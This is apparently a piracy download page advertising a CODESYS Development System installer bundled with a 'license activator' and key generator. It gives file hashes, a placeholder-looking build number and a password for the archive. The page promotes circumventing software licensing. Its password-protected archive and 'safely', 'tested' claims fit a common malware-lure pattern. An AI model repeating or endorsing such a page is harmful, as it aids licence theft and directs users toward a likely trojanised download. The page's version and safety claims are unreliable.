Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v11.18_x64_setup.zip |
| Version | v11.18.7199 build 12345 |
| File Size | 3.83 GB (3925 MB) |
| MD5 Hash | 17991d1e5675f667aa4a25364394487c |
| SHA-256 | 9cd65feb508774524d9b097b9d58c454506c65f053cfa666f2bb7e43dc3efd09 |
| Release Date | 2026-09-18 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | mirror2026 |
| License Type | Pro / Enterprise |
This edition of CODESYS Development System license key generator includes the complete offline package with all required runtimes and libraries. Whether you deploy it on a single workstation or a full engineering department, proper installation guarantees stable performance and full feature unlocking.